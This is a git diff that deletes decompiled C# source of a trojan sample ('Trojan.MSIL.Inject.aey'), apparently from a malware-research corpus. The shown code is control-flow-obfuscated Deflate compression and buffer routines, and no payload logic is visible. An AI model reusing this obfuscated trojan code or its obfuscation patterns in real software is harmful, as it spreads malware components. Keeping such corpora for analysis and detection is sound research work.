byte[_param1]; - } - - internal void \uE000(byte _param1) - { - this.\uE000[this.\uE001++] = _param1; - if ((this.\uE001 >= this.\uE002 ? 0 : 1) == 0) - this.\uE001 = 0; - ++this.\uE003; - } - - internal void \uE001(byte[] _param1, int _param2, int _param3) - { - this.\uE003 += (long) _param3; - if ((_param3 >= this.\uE002 ? 0 : 1) == 0) - { - Array.Copy((Array) _param1, _param2, (Array) this.\uE000, 0, this.\uE002); - this.\uE001 = 0; - } - else if (this.\uE001 + _param3 > this.\uE002) - { - int length1 = this.\uE002 - this.\uE001; -label_5: - int num = 2; - int length2; - while (true) - { - switch (num) - { - case 0: - Array.Copy((Array) _param1, _param2 + length1, (Array) this.\uE000, 0, length2); - num = 1; - continue; - case 1: - this.\uE001 = length2; - num = 4; - continue; - case 2: - length2 = this.\uE001 + _param3 - this.\uE002; - num = 3; - continue; - case 3: - Array.Copy((Array) _param1, _param2, (Array) this.\uE000, this.\uE001, length1); - num = 0; - continue; - case 4: - goto label_12; - default: - goto label_5; - } - } -label_12:; - } - else - { - Array.Copy((Array) _param1, _param2, (Array) this.\uE000, this.\uE001, _param3); - this.\uE001 += _param3; - if (this.\uE001 != this.\uE002) - return; - this.\uE001 = 0; - } - } - - internal byte[] \uE002(int _param1, int _param2) - { - byte[] destinationArray = new byte[_param2]; - if ((this.\uE001 >= _param1 ? 0 : 1) == 0) - { - Array.Copy((Array) this.\uE000, this.\uE001 - _param1, (Array) destinationArray, 0, _param2); - } - else - { - int num1 = _param1 - this.\uE001; -label_4: - int num2 = 1; - while (true) - { - switch (num2) - { - case 0: - Array.Copy((Array) this.\uE000, 0, (Array) destinationArray, num1, _param2 - num1); - num2 = 3; - continue; - case 1: - if (num1 < _param2) - { - num2 = 2; - continue; - } - goto label_9; - case 2: - Array.Copy((Array) this.\uE000, this.\uE002 - num1, (Array) destinationArray, 0, num1); - num2 = 0; - continue; - case 3: - goto label_10; - default: - goto label_4; - } - } -label_9: - Array.Copy((Array) this.\uE000, this.\uE002 - num1, (Array) destinationArray, 0, _param2); - } -label_10: - return destinationArray; - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs deleted file mode 100644 index 86d0b86e..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs +++ /dev/null @@ -1,1584 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Monkey, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F37CDE57-2934-4BAC-94FE-68C4082667EF -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d.exe - -using System; -using System.Collections; -using System.IO; - -internal sealed class \uE00F -{ - public sealed class \uE000 : Stream, IDisposable - { - private const int \uE000 = 8192; - private Stream \uE001; - private bool \uE002; - private bool \uE003; - private \uE00F.\uE008 \uE004; - private byte[] \uE005; - private int \uE006; - - public \uE000(Stream _param1) - : this(_param1, false) - { - } - - public \uE000(Stream _param1, bool _param2) - { - this.\uE001 = (_param1 == null ? 0 : 1) != 0 ? _param1 : throw new ArgumentNullException(); -label_4: - int num = 1; - while (true) - { - switch (num) - { - case 0: - this.\uE004 = new \uE00F.\uE008(_param1); - num = 4; - continue; - case 1: - this.\uE002 = _param2; - num = 2; - continue; - case 2: - this.\uE003 = true; - num = 3; - continue; - case 3: - this.\uE005 = new byte[8192]; - num = 0; - continue; - case 4: - goto label_9; - default: - goto label_4; - } - } -label_9:; - } - - public Stream \uE000 => this.\uE001; - - public override bool CanSeek => false; - - public override bool CanRead => false; - - public override bool CanWrite => true; - - public override long Length => throw new NotImplementedException(); - - public override long Position - { - get => throw new NotImplementedException(); - set => throw new NotImplementedException(); - } - - public override long Seek(long offset, SeekOrigin origin) => throw new NotImplementedException(); - - public override void SetLength(long value) => throw new NotImplementedException(); - - private void \uE000() - { - if (!this.\uE003) - throw new InvalidOperationException("Stream is closed."); - } - - public override int Read(byte[] buffer, int offset, int count) => throw new NotSupportedException(); - - public override void Write(byte[] buffer, int offset, int count) - { - if ((count >= 0 ? 0 : 1) != 0 || count > buffer.Length) - throw new ArgumentOutOfRangeException(nameof (count)); - if (offset < 0 || offset > buffer.Length) - throw new ArgumentOutOfRangeException(nameof (offset)); - if (offset + count > buffer.Length) - throw new ArgumentException("offset + count out of buffer"); - this.\uE000(); - if (this.\uE006 + count > 8192) - this.\uE001(); - if (count >= 8192) - { - int num; - for (num = 0; count - num > 32768; num += 32768) - this.\uE004.\uE002(buffer, offset + num, 32768, false); - this.\uE004.\uE002(buffer, offset + num, count - num, false); - } - else - { - Array.Copy((Array) buffer, offset, (Array) this.\uE005, this.\uE006, count); -label_15: - int num = 1; - while (true) - { - switch (num) - { - case 0: - if (this.\uE006 == 8192) - { - num = 2; - continue; - } - goto label_19; - case 1: - this.\uE006 += count; - num = 0; - continue; - case 2: - goto label_20; - default: - goto label_15; - } - } -label_19: - return; -label_20: - this.\uE001(); - } - } - - private void \uE001() - { - if (this.\uE006 <= 0) - return; -label_2: - int num = 0; - while (true) - { - switch (num) - { - case 0: - this.\uE004.\uE002(this.\uE005, 0, this.\uE006, false); - num = 1; - continue; - case 1: - goto label_5; - default: - goto label_2; - } - } -label_5: - this.\uE006 = 0; - } - - public override void Flush() - { - this.\uE000(); -label_2: - int num = 0; - while (true) - { - switch (num) - { - case 0: - if (this.\uE006 > 0) - { - num = 1; - continue; - } - goto label_6; - case 1: - goto label_5; - default: - goto label_2; - } - } -label_5: - this.\uE001(); -label_6: - this.\uE004.\uE001(true, false); - this.\uE000.Flush(); - } - - private void \uE002() - { - if (this.\uE006 > 0) - { -label_2: - int num = 0; - while (true) - { - switch (num) - { - case 0: - this.\uE004.\uE002(this.\uE005, 0, this.\uE006, true); - num = 1; - continue; - case 1: - goto label_4; - default: - goto label_2; - } - } -label_4:; - } - else - this.\uE004.\uE001(false, true); - } - - void IDisposable.Dispose() - { - if ((!this.\uE003 ? 1 : 0) == 0) - { - this.\uE002(); -label_3: - int num = 0; - while (true) - { - switch (num) - { - case 0: - this.\uE005 = (byte[]) null; - num = 2; - continue; - case 1: - if (!this.\uE002) - { - num = 3; - continue; - } - goto label_10; - case 2: - this.\uE004 = (\uE00F.\uE008) null; - num = 1; - continue; - case 3: - this.\uE001.Close(); - num = 4; - continue; - case 4: - goto label_9; - default: - goto label_3; - } - } -label_9: - this.\uE001 = (Stream) null; -label_10: - this.\uE003 = false; - } - this.Close(); - } - } - - private sealed class \uE008 - { - public const int \uE000 = 32768; - private Stream \uE001; - private \uE00F.\uE00E \uE002; - private \uE00F.\uE00A \uE003; - - public \uE008(Stream _param1) - { - this.\uE001 = (_param1 == null ? 0 : 1) != 0 ? _param1 : throw new ArgumentNullException(); -label_5: - int num = 0; - while (true) - { - switch (num) - { - case 0: - this.\uE002 = new \uE00F.\uE00E(_param1); - num = 1; - continue; - case 1: - this.\uE003 = new \uE00F.\uE00A(); - num = 2; - continue; - case 2: - goto label_4; - default: - goto label_5; - } - } -label_4:; - } - - public Stream \uE000 => this.\uE001; - - internal void \uE000( - \uE00F.\uE00D _param1, - out int[] _param2, - out int[] _param3, - out int _param4) - { - _param2 = new int[286]; - _param3 = new int[30]; - _param4 = 0; - int index1 = 0; - int index2 = 0; - if ((index2 == 0 ? 1 : 0) != 0) - goto label_10; -label_1: - ushort index3 = (ushort) _param1.\uE000[index1]; - if (index3 <= (ushort) 256) - { - ++_param2[(int) index3]; - ++index1; - } - else - { - ++_param2[(int) index3]; -label_5: - int num = 0; - while (true) - { - switch (num) - { - case 0: - ++_param3[(int) (ushort) _param1.\uE000[index1 + 2]]; - num = 2; - continue; - case 1: - _param4 += (int) (byte) _param1.\uE001[index2] + (int) (byte) _param1.\uE001[index2 + 1]; - num = 3; - continue; - case 2: - index1 += 4; - num = 1; - continue; - case 3: - goto label_9; - default: - goto label_5; - } - } -label_9: - index2 += 2; - } -label_10: - if (index1 < _param1.\uE000.Count) - goto label_1; - } - - public void \uE001(bool _param1, bool _param2) - { - this.\uE002.\uE000(_param2); - if ((!_param1 ? 1 : 0) == 0) - { - this.\uE002.\uE001(0, 2); -label_3: - int num = 0; - while (true) - { - switch (num) - { - case 0: - this.\uE002.\uE003(); - num = 2; - continue; - case 1: - this.\uE002.\uE001((int) ushort.MaxValue, 16); - num = 3; - continue; - case 2: - this.\uE002.\uE001(0, 16); - num = 1; - continue; - case 3: - goto label_8; - default: - goto label_3; - } - } - } - else - { - this.\uE002.\uE001(1, 2); - \uE00B obj = \uE00A.\uE011[256]; - this.\uE002.\uE002(obj.\uE000, obj.\uE001); - } -label_8: - if (!_param2) - return; - this.\uE002.\uE003(); - } - - public void \uE002(byte[] _param1, int _param2, int _param3, bool _param4) - { - if (_param3 > 32768) - throw new ArgumentOutOfRangeException(); - \uE00F.\uE00D obj = this.\uE003.\uE000(_param1, _param2, _param3); - if ((obj == null ? 0 : 1) == 0) - throw new InvalidOperationException(); - if (obj.\uE002 != _param3) - throw new InvalidOperationException(); - obj.\uE002(); - int[] numArray1; - int[] numArray2; - int num1; - this.\uE000(obj, out numArray1, out numArray2, out num1); - int[] numArray3 = \uE00A.\uE00B(numArray1); - int[] numArray4 = \uE00A.\uE00B(numArray2); - int num2 = (4 + _param3) * 8; - int num3 = this.\uE002.\uE001 >= 3 ? num2 + (this.\uE002.\uE001 - 3) : num2 + (5 + this.\uE002.\uE001); - int num4 = \uE00A.\uE000(numArray3, numArray1) + \uE00A.\uE000(numArray4, numArray2) + num1; - int num5 = \uE00A.\uE001(numArray3, numArray4) + num1; - bool flag1 = num5 <= num4 || num3 <= num4; - if (!flag1) - { - int num6 = num4 + this.\uE006(numArray3, numArray4); - flag1 = num5 <= num6 || num3 <= num6; - } - bool flag2 = num3 < num5; - this.\uE002.\uE000(_param4); - if (flag2 && flag1) - { - this.\uE002.\uE001(0, 2); -label_11: - int num7 = 3; - int num8; - int num9; - while (true) - { - switch (num7) - { - case 0: - this.\uE002.\uE003(); - num7 = 6; - continue; - case 1: - this.\uE002.\uE001(num8, 16); - num7 = 2; - continue; - case 2: - this.\uE002.\uE001(num9, 16); - num7 = 0; - continue; - case 3: - this.\uE002.\uE003(); - num7 = 5; - continue; - case 4: - num9 = ~_param3 & (int) ushort.MaxValue; - num7 = 1; - continue; - case 5: - num8 = _param3; - num7 = 4; - continue; - case 6: - this.\uE004(_param1, _param2, _param3); - num7 = 7; - continue; - case 7: - goto label_23; - default: - goto label_11; - } - } - } - else - { - \uE00B[] objArray1; - \uE00B[] objArray2; - if (flag1) - { - this.\uE002.\uE001(1, 2); - objArray1 = \uE00A.\uE011; - objArray2 = \uE00A.\uE012; - } - else - { - this.\uE002.\uE001(2, 2); - this.\uE005(numArray3, numArray4); - objArray1 = \uE00A.\uE002(numArray3); - objArray2 = \uE00A.\uE002(numArray4); - } - this.\uE003(obj, objArray1, objArray2); - } -label_23: - if (!_param4) - return; - this.\uE002.\uE003(); - } - - private void \uE003(\uE00F.\uE00D _param1, \uE00B[] _param2, \uE00B[] _param3) - { - int index1 = 0; - int index2 = 0; - if ((index2 == 0 ? 1 : 0) != 0) - goto label_15; -label_1: - int index3 = (int) (ushort) _param1.\uE000[index1]; - if (index3 <= 256) - { - \uE00B obj = _param2[index3]; - this.\uE002.\uE002(obj.\uE000, obj.\uE001); - ++index1; - } - else - { - \uE00B obj = _param2[index3]; - this.\uE002.\uE002(obj.\uE000, obj.\uE001); - if ((byte) _param1.\uE001[index2] > (byte) 0) - this.\uE002.\uE001((int) (ushort) _param1.\uE000[index1 + 1], (int) (byte) _param1.\uE001[index2]); - int index4 = index1 + 2; -label_7: - int num = 3; - while (true) - { - switch (num) - { - case 0: - obj = _param3[(int) (ushort) _param1.\uE000[index4]]; - num = 2; - continue; - case 1: - if ((byte) _param1.\uE001[index2] > (byte) 0) - { - num = 4; - continue; - } - goto label_14; - case 2: - this.\uE002.\uE002(obj.\uE000, obj.\uE001); - num = 1; - continue; - case 3: - ++index2; - num = 0; - continue; - case 4: - goto label_13; - default: - goto label_7; - } - } -label_13: - this.\uE002.\uE001((int) (ushort) _param1.\uE000[index4 + 1], (int) (byte) _param1.\uE001[index2]); -label_14: - index1 = index4 + 2; - ++index2; - } -label_15: - if (index1 < _param1.\uE000.Count) - goto label_1; - } - - private void \uE004(byte[] _param1, int _param2, int _param3) => this.\uE000.Write(_param1, _param2, _param3); - - private void \uE005(int[] _param1, int[] _param2) - { - int[] numArray1 = new int[19]; - int num1 = 286; - if ((num1 == 0 ? 0 : 1) != 0) - goto label_2; -label_1: - --num1; -label_2: - if (num1 <= 257 || _param1[num1 - 1] != 0) - { - int length = 30; - while (length > 1 && _param2[length - 1] == 0) - --length; - int[] destinationArray = new int[num1 + length]; - Array.Copy((Array) _param1, 0, (Array) destinationArray, 0, num1); - Array.Copy((Array) _param2, 0, (Array) destinationArray, num1, length); - int[] numArray2 = \uE00A.\uE00D(destinationArray, 0, destinationArray.Length); - for (int index = 0; index < numArray2.Length; ++index) - { - ++numArray1[numArray2[index]]; - if (numArray2[index] >= 16) - ++index; - } - int[] numArray3 = \uE00A.\uE00A(numArray1, 7); - int[] numArray4 = \uE00A.\uE014; - int num2 = 19; - while (num2 > 4 && numArray3[numArray4[num2 - 1]] == 0) - --num2; - int num3 = num1 - 257; -label_16: - int num4 = 2; - int num5; - int num6; - \uE00B[] objArray; - int index1; - while (true) - { - switch (num4) - { - case 0: - this.\uE002.\uE001(num3, 5); - num4 = 5; - continue; - case 1: - num5 = num2 - 4; - num4 = 4; - continue; - case 2: - num6 = length - 1; - num4 = 1; - continue; - case 3: - this.\uE002.\uE001(num5, 4); - num4 = 6; - continue; - case 4: - objArray = \uE00A.\uE002(numArray3); - num4 = 0; - continue; - case 5: - this.\uE002.\uE001(num6, 5); - num4 = 3; - continue; - case 6: - index1 = 0; - num4 = 7; - continue; - case 7: - goto label_26; - default: - goto label_16; - } - } -label_26: - for (; index1 < num2; ++index1) - this.\uE002.\uE001(numArray3[numArray4[index1]], 3); - for (int index2 = 0; index2 < numArray2.Length; ++index2) - { - int index3 = numArray2[index2]; - \uE00B obj = objArray[index3]; - this.\uE002.\uE002(obj.\uE000, obj.\uE001); - if (index3 >= 16) - { - ++index2; - this.\uE002.\uE001(numArray2[index2], \uE00A.\uE00C(index3)); - } - } - } - else - goto label_1; - } - - private int \uE006(int[] _param1, int[] _param2) - { - int[] numArray1 = new int[19]; - int num1 = 0; - int num2 = 286; - if ((num2 == 0 ? 0 : 1) != 0) - goto label_2; -label_1: - --num2; -label_2: - if (num2 <= 257 || _param1[num2 - 1] != 0) - { - int[] numArray2 = \uE00A.\uE00D(_param1, 0, num2); -label_12: - for (int index = 0; index < numArray2.Length; ++index) - { - ++numArray1[numArray2[index]]; -label_6: - int num3 = 0; - while (true) - { - switch (num3) - { - case 0: - if (numArray2[index] >= 16) - { - num3 = 1; - continue; - } - goto label_12; - case 1: - num1 += \uE00A.\uE00C(numArray2[index]); - num3 = 2; - continue; - case 2: - goto label_10; - default: - goto label_6; - } - } -label_10: - ++index; - } - int num4 = 30; - while (num4 > 1 && _param2[num4 - 1] == 0) - --num4; - int[] numArray3 = \uE00A.\uE00D(_param2, 0, num4); - for (int index = 0; index < numArray3.Length; ++index) - { - ++numArray1[numArray3[index]]; - if (numArray3[index] >= 16) - { - num1 += \uE00A.\uE00C(numArray3[index]); - ++index; - } - } - int[] numArray4 = \uE00A.\uE00B(numArray1); - int num5 = \uE00A.\uE000(numArray1, numArray4); - int[] numArray5 = \uE00A.\uE014; - int num6 = 19; - while (num6 > 4 && numArray4[numArray5[num6 - 1]] == 0) - --num6; - return 14 + (num6 - 4 + 4) * 3 + num5 + num1; - } - goto label_1; - } - } - - private sealed class \uE009 - { - public static readonly \uE00F.\uE009 \uE000; - public int \uE001; - public int \uE002; - public int \uE003; - public int \uE004; - - static \uE009() - { - \uE00F.\uE009 obj = new \uE00F.\uE009(); -label_2: - int num = 2; - while (true) - { - switch (num) - { - case 0: - obj.\uE002 = 32; - num = 1; - continue; - case 1: - obj.\uE003 = 128; - num = 3; - continue; - case 2: - obj.\uE001 = 8; - num = 0; - continue; - case 3: - obj.\uE004 = 256; - num = 4; - continue; - case 4: - \uE00F.\uE009.\uE000 = obj; - num = 5; - continue; - case 5: - goto label_8; - default: - goto label_2; - } - } -label_8:; - } - } - - private sealed class \uE00A - { - private const int \uE000 = 258; - private const int \uE001 = 32768; - private \uE00F.\uE00C \uE002; - private \uE00F.\uE00B \uE003; - private \uE00F.\uE009 \uE004; - private int \uE005; - - internal \uE00A() - : this(\uE00F.\uE009.\uE000) - { - } - - internal \uE00A(\uE00F.\uE009 _param1) - { - this.\uE004 = _param1; -label_2: - int num = 2; - while (true) - { - switch (num) - { - case 0: - this.\uE003 = new \uE00F.\uE00B(32768); - num = 1; - continue; - case 1: - this.\uE005 = 0; - num = 3; - continue; - case 2: - this.\uE002 = new \uE00F.\uE00C(65536); - num = 0; - continue; - case 3: - goto label_6; - default: - goto label_2; - } - } -label_6:; - } - - internal \uE00F.\uE009 \uE000 => this.\uE004; - - public \uE00F.\uE00D \uE000(byte[] _param1, int _param2, int _param3) - { - if (this.\uE002.\uE002 + _param3 > this.\uE002.\uE001) - { - int num = this.\uE002.\uE002 - 32768; - this.\uE002.\uE001(num); - if ((this.\uE005 >= num ? 0 : 1) == 0) - { - this.\uE005 -= num; - } - else - { - this.\uE003.\uE003(num - this.\uE005); - this.\uE005 = 0; - } - } - int num1 = this.\uE002.\uE002; -label_6: - int num2 = 1; - while (true) - { - switch (num2) - { - case 0: - if (this.\uE005 < num1) - { - num2 = 2; - continue; - } - goto label_11; - case 1: - this.\uE002.\uE000(_param1, _param2, _param3); - num2 = 0; - continue; - case 2: - goto label_10; - default: - goto label_6; - } - } -label_10: - this.\uE003.\uE002(this.\uE002.\uE000, this.\uE005, num1 - this.\uE005); -label_11: - return this.\uE000.\uE003 > 0 ? this.\uE002(this.\uE003, this.\uE002.\uE000, num1, _param3, out this.\uE005) : this.\uE001(this.\uE002.\uE000, num1, _param3); - } - - private \uE00F.\uE00D \uE001(byte[] _param1, int _param2, int _param3) - { - \uE00F.\uE00D obj = new \uE00F.\uE00D(); -label_2: - int num1 = 2; - int index; - while (true) - { - switch (num1) - { - case 0: - index = 0; - num1 = 1; - continue; - case 1: - if (index != 0) - { - num1 = 3; - continue; - } - goto label_8; - case 2: - obj.\uE000.Capacity = _param3 + 1; - num1 = 0; - continue; - case 3: - goto label_7; - default: - goto label_2; - } - } -label_7: - int num2 = 0; - goto label_9; -label_8: - num2 = 1; -label_9: - if (num2 != 0) - goto label_11; -label_10: - obj.\uE000(_param1[index]); - ++index; -label_11: - if (index >= _param3) - return obj; - goto label_10; - } - - private \uE00F.\uE00D \uE002( - \uE00F.\uE00B _param1, - byte[] _param2, - int _param3, - int _param4, - out int _param5) - { - \uE00F.\uE00D obj1 = new \uE00F.\uE00D(); - object obj2 = (object) null; - int num1 = 0; - if ((num1 == 0 ? 1 : 0) != 0) - goto label_18; -label_1: - \uE00F.\uE00B.\uE000 obj3 = _param1.\uE000(_param2, _param3 + num1); - if (obj3 != null) - { - object obj4; - if (obj2 != null) - { - obj4 = obj2; - obj2 = (object) null; - } - else - obj4 = (object) this.\uE003(_param2, _param3, _param4, num1, obj3, 3); - \uE00F.\uE00A.\uE000 obj5 = (\uE00F.\uE00A.\uE000) obj4; - bool flag = obj5.\uE001 >= 3; - if (flag && num1 < _param4 - 3 && obj5.\uE001 < this.\uE004.\uE002) - { - \uE00F.\uE00B.\uE000 obj6 = _param1.\uE000(_param2, _param3 + num1 + 1); - if (obj6 != null) - { - \uE00F.\uE00A.\uE000 obj7 = this.\uE003(_param2, _param3, _param4, num1 + 1, obj6, obj5.\uE001 + 1); - if (obj7.\uE001 > obj5.\uE001) - { - obj2 = (object) obj7; - flag = false; - } - } - } - if (flag) - { - obj1.\uE001(num1 - obj5.\uE000, obj5.\uE001); -label_12: - int num2 = 2; - while (true) - { - switch (num2) - { - case 0: - num1 += obj5.\uE001; - num2 = 1; - continue; - case 1: - _param1.\uE003(obj5.\uE001 - 1); - num2 = 3; - continue; - case 2: - _param1.\uE001(_param2, _param3 + num1); - num2 = 0; - continue; - case 3: - goto label_18; - default: - goto label_12; - } - } - } - else - { - obj1.\uE000(_param2[_param3 + num1]); - _param1.\uE001(_param2, _param3 + num1); - ++num1; - } - } - else - { - obj1.\uE000(_param2[_param3 + num1]); - _param1.\uE001(_param2, _param3 + num1); - ++num1; - } -label_18: - if (num1 >= _param4 - 2) - { - _param5 = _param3 + num1; - for (; num1 < _param4; ++num1) - obj1.\uE000(_param2[_param3 + num1]); - return obj1; - } - goto label_1; - } - - private \uE00F.\uE00A.\uE000 \uE003( - byte[] _param1, - int _param2, - int _param3, - int _param4, - \uE00F.\uE00B.\uE000 _param5, - int _param6) - { - int num1 = this.\uE004.\uE004; -label_2: - int num2 = 4; - int num3; - int num4; - int num5; - int num6; - int num7; - while (true) - { - switch (num2) - { - case 0: - num3 = _param2 + _param4; - num2 = 5; - continue; - case 1: - num4 = -1; - num2 = 3; - continue; - case 2: - num5 = _param6 - 1; - num2 = 0; - continue; - case 3: - num6 = 0; - num2 = 2; - continue; - case 4: - num7 = 0; - num2 = 1; - continue; - case 5: - goto label_17; - default: - goto label_2; - } - } -label_17: - while (_param5.\uE000()) - { - int num8 = 0; - int num9 = _param4 - _param5.\uE000; - if (_param4 + num5 < _param3) - { - int num10 = _param2 + num9; - if ((int) _param1[num10 + num5] == (int) _param1[num3 + num5]) - { - while (num8 < 258 && _param4 + num8 < _param3 && (int) _param1[num10 + num8] == (int) _param1[num3 + num8]) - ++num8; - if ((num8 >= num7 ? 0 : 1) == 0) - { - num7 = num8; - num5 = num8; - num4 = num9; - if (num7 >= this.\uE004.\uE003) - break; - } - if (num7 >= this.\uE004.\uE001) - num1 >>= 2; - } - if (++num6 >= num1) - break; - } - else - break; - } - return new \uE00F.\uE00A.\uE000() - { - \uE001 = num7, - \uE000 = num4 - }; - } - - private struct \uE000 - { - public int \uE000; - public int \uE001; - } - } - - private sealed class \uE00B - { - private const int \uE000 = 16777216; - private const int \uE001 = 256; - private const ushort \uE002 = 65535; - private const ushort \uE003 = 0; - private int \uE004; - private ushort[] \uE005; - private int[] \uE006; - private int \uE007; - - internal \uE00B(int _param1) - { - this.\uE004 = _param1; -label_2: - int num1 = 0; - int index; - while (true) - { - switch (num1) - { - case 0: - this.\uE005 = new ushort[this.\uE004]; - num1 = 1; - continue; - case 1: - this.\uE006 = new int[256]; - num1 = 3; - continue; - case 2: - if (index != 0) - { - num1 = 4; - continue; - } - goto label_9; - case 3: - index = 0; - num1 = 2; - continue; - case 4: - goto label_8; - default: - goto label_2; - } - } -label_8: - int num2 = 0; - goto label_10; -label_9: - num2 = 1; -label_10: - if (num2 != 0) - goto label_12; -label_11: - this.\uE006[index] = (int) ushort.MaxValue; - ++index; -label_12: - if (index < 256) - goto label_11; - } - - internal \uE00F.\uE00B.\uE000 \uE000(byte[] _param1, int _param2) - { - int index = \uE00F.\uE00B.\uE004(_param1, _param2); -label_2: - int num = 0; - while (true) - { - switch (num) - { - case 0: - if (this.\uE006[index] != (int) ushort.MaxValue) - { - num = 1; - continue; - } - goto label_7; - case 1: - if (this.\uE007 - this.\uE006[index] > this.\uE004) - { - num = 2; - continue; - } - goto label_8; - case 2: - goto label_7; - default: - goto label_2; - } - } -label_7: - return (\uE00F.\uE00B.\uE000) null; -label_8: - return new \uE00F.\uE00B.\uE000(this, this.\uE007 - this.\uE006[index]); - } - - internal void \uE001(byte[] _param1, int _param2) - { - int index1 = \uE00F.\uE00B.\uE004(_param1, _param2); - this.\uE005[this.\uE007 % this.\uE004] = this.\uE006[index1] == (int) ushort.MaxValue || (this.\uE007 - this.\uE006[index1] >= this.\uE004 ? 0 : 1) == 0 ? (ushort) 0 : (ushort) (this.\uE007 - this.\uE006[index1]); - this.\uE006[index1] = this.\uE007; -label_2: - int num1 = 3; - int num2; - int index2; - int num3; - while (true) - { - switch (num1) - { - case 0: - num2 = this.\uE007 - this.\uE004; - num1 = 4; - continue; - case 1: - index2 = 0; - num1 = 5; - continue; - case 2: - if (num3 >= 16777216) - { - num1 = 0; - continue; - } - goto label_14; - case 3: - num3 = ++this.\uE007; - num1 = 2; - continue; - case 4: - num2 -= num2 % this.\uE004; - num1 = 1; - continue; - case 5: - goto label_13; - default: - goto label_2; - } - } -label_14: - return; -label_13: - for (; index2 < this.\uE006.Length; ++index2) - { - if (this.\uE006[index2] >= num2) - this.\uE006[index2] -= num2; - else - this.\uE006[index2] = 0; - } - this.\uE007 -= num2; - } - - internal void \uE002(byte[] _param1, int _param2, int _param3) - { - int num1 = 0; - if ((num1 == 0 ? 1 : 0) != 0) - goto label_6; - else - goto label_3; -label_2: - int num2; - switch (num2) - { - case 0: - goto label_4; - case 1: - ++num1; - goto label_6; - } -label_3: - num2 = 0; - goto label_2; -label_4: - this.\uE001(_param1, _param2 + num1); - num2 = 1; - goto label_2; -label_6: - if (num1 < _param3) - goto label_4; - } - - internal void \uE003(int _param1) => this.\uE007 += _param1; - - private static int \uE004(byte[] _param0, int _param1) => (int) (byte) ((uint) _param0[_param1] + (uint) _param0[_param1 + 1] + (uint) _param0[_param1 + 2]); - - internal sealed class \uE000 - { - private \uE00F.\uE00B \uE000; - private int \uE001; - private int \uE002; - - internal \uE000(\uE00F.\uE00B _param1, int _param2) - { - this.\uE000 = _param1; - this.\uE001 = _param2; - } - - internal int \uE000 => this.\uE001; - - internal bool \uE000() - { - if ((this.\uE002 == 0 ? 0 : 1) == 0) - { - this.\uE002 = 1; - return true; - } - if (this.\uE002 == 1) - { - ushort num1 = this.\uE000.\uE005[(this.\uE000.\uE007 - this.\uE001) % this.\uE000.\uE004]; -label_5: - int num2 = 1; - while (true) - { - switch (num2) - { - case 0: - if (this.\uE001 <= this.\uE000.\uE004) - { - num2 = 3; - continue; - } - goto label_12; - case 1: - if (num1 != (ushort) 0) - { - num2 = 2; - continue; - } - goto label_12; - case 2: - this.\uE001 += (int) num1; - num2 = 0; - continue; - case 3: - goto label_11; - default: - goto label_5; - } - } -label_11: - return true; -label_12: - this.\uE002 = 2; - } - return false; - } - } - } - - private sealed class \uE00C - { - private int \uE000; - private byte[] \uE001; - private int \uE002; - - public \uE00C(int _param1) - { - this.\uE000 = _param1; - this.\uE001 = new byte[_param1]; - this.\uE002 = 0; - } - - public byte[] \uE000 => this.\uE001; - - public int \uE001 => this.\uE000; - - public int \uE002 => this.\uE002; - - public void \uE000(byte[] _param1, int _param2, int _param3) - { - Array.Copy((Array) _param1, _param2, (Array) this.\uE001, this.\uE002, _param3); -label_2: - int num = 0; - while (true) - { - switch (num) - { - case 0: - this.\uE002 += _param3; - num = 1; - continue; - case 1: - goto label_4; - default: - goto label_2; - } - } -label_4:; - } - - public void \uE001(int _param1) - { - Array.Copy((Array) this.\uE001, _param1, (Array) this.\uE001, 0, this.\uE002 - _param1); -label_2: - int num = 0; - while (true) - { - switch (num) - { - case 0: - this.\uE002 -= _param1; - num = 1; - continue; - case 1: - goto label_4; - default: - goto label_2; - } - } -label_4:; - } - } - - private sealed class \uE00D - { - internal ArrayList \uE000 = new ArrayList(); - internal ArrayList \uE001 = new ArrayList(); - internal int \uE002; - - public void \uE000(byte _param1) - { - this.\uE000.Add((object) (ushort) _param1); - ++this.\uE002; - } - - public void \uE001(int _param1, int _param2) - { - if ((_param1 >= 1 ? 0 : 1) != 0 || _param1 > 32768) - throw new ArgumentOutOfRangeException(); - if (_param2 < 3 || _param2 > 258) - throw new ArgumentOutOfRangeException(); - int num1; - int num2; - int num3; - \uE00A.\uE008(_param2, out num1, out num2, out num3); -label_6: - int num4 = 6; - int num5; - int num6; - int num7; - while (true) - { - switch (num4) - { - case 0: - this.\uE000.Add((object) (ushort) num2); - num4 = 4; - continue; - case 1: - this.\uE000.Add((object) (ushort) num5); - num4 = 7; - continue; - case 2: - this.\uE000.Add((object) (ushort) num1); - num4 = 0; - continue; - case 3: - this.\uE001.Add((object) (byte) num6); - num4 = 5; - continue; - case 4: - this.\uE001.Add((object) (byte) num3); - num4 = 1; - continue; - case 5: - this.\uE002 += _param2; - num4 = 8; - continue; - case 6: - \uE00A.\uE009(_param1, out num5, out num7, out num6); - num4 = 2; - continue; - case 7: - this.\uE000.Add((object) (ushort) num7); - num4 = 3; - continue; - case 8: - goto label_15; - default: - goto label_6; - } - } -label_15:; - } - - internal void \uE002() => this.\uE000.Add((object) (ushort) 256); - } - - private sealed class \uE00E - { - private uint \uE000; - private int \uE001; - private Stream \uE002; - - internal \uE00E(Stream _param1) => this.\uE002 = _param1; - - internal Stream \uE000 => this.\uE002; - - internal int \uE001 => (32 - this.\uE001) % 8; - - internal void \uE000(bool _param1) => this.\uE001(_param1 ? 1 : 0, 1); - - internal void \uE001(int _param1, int _param2) - { - uint num1 = this.\uE000 | checked ((uint) _param1) << this.\uE001; - int num2; - for (num2 = this.\uE001 + _param2; num2 >= 8; num2 -= 8) - { - this.\uE000.WriteByte((byte) num1); - num1 >>= 8; - } -label_5: - int num3 = 0; - while (true) - { - switch (num3) - { - case 0: - this.\uE000 = num1; - num3 = 1; - continue; - case 1: - this.\uE001 = num2; - num3 = 2; - continue; - case 2: - goto label_3; 